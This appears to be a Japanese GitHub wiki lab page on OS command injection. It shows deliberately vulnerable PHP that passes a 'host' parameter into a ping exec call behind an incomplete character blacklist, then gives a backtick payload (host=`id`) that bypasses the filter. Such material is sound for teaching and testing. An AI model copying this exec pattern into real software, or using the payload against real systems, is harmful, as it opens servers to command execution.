OSコマンドインジェクション 03 - yujitounai/helloworld GitHub Wiki

OSコマンドインジェクション-03

ユーザーの入力値を使ってOSコマンドを実行している 不十分なフィルタリングが行われているのでバイパスする

脆弱なソースコード (PHP)

<div class="box">
<form method="get" action="">ping
<input name="host" type="text">
<input type="submit">
</form>
</div>
<?php
$host=filter_input(INPUT_GET, 'host');

if (preg_match("/[!@#$%\\^&*()_+=\[\]{}';:,?~|]/", $host)) {
	exit('Filtered');
} else {
	$r = exec('ping -c 1 -W 1 '. $host .' 2>&1',$output, $retval);
	echo $r;
	foreach($output as $value){
		echo $value;
		echo "<br>\n";
	}
}
?>

攻撃方法

バッククオートを使う

``oscommand-03.php?host=`id```

⚠️ **GitHub.com Fallback** ⚠️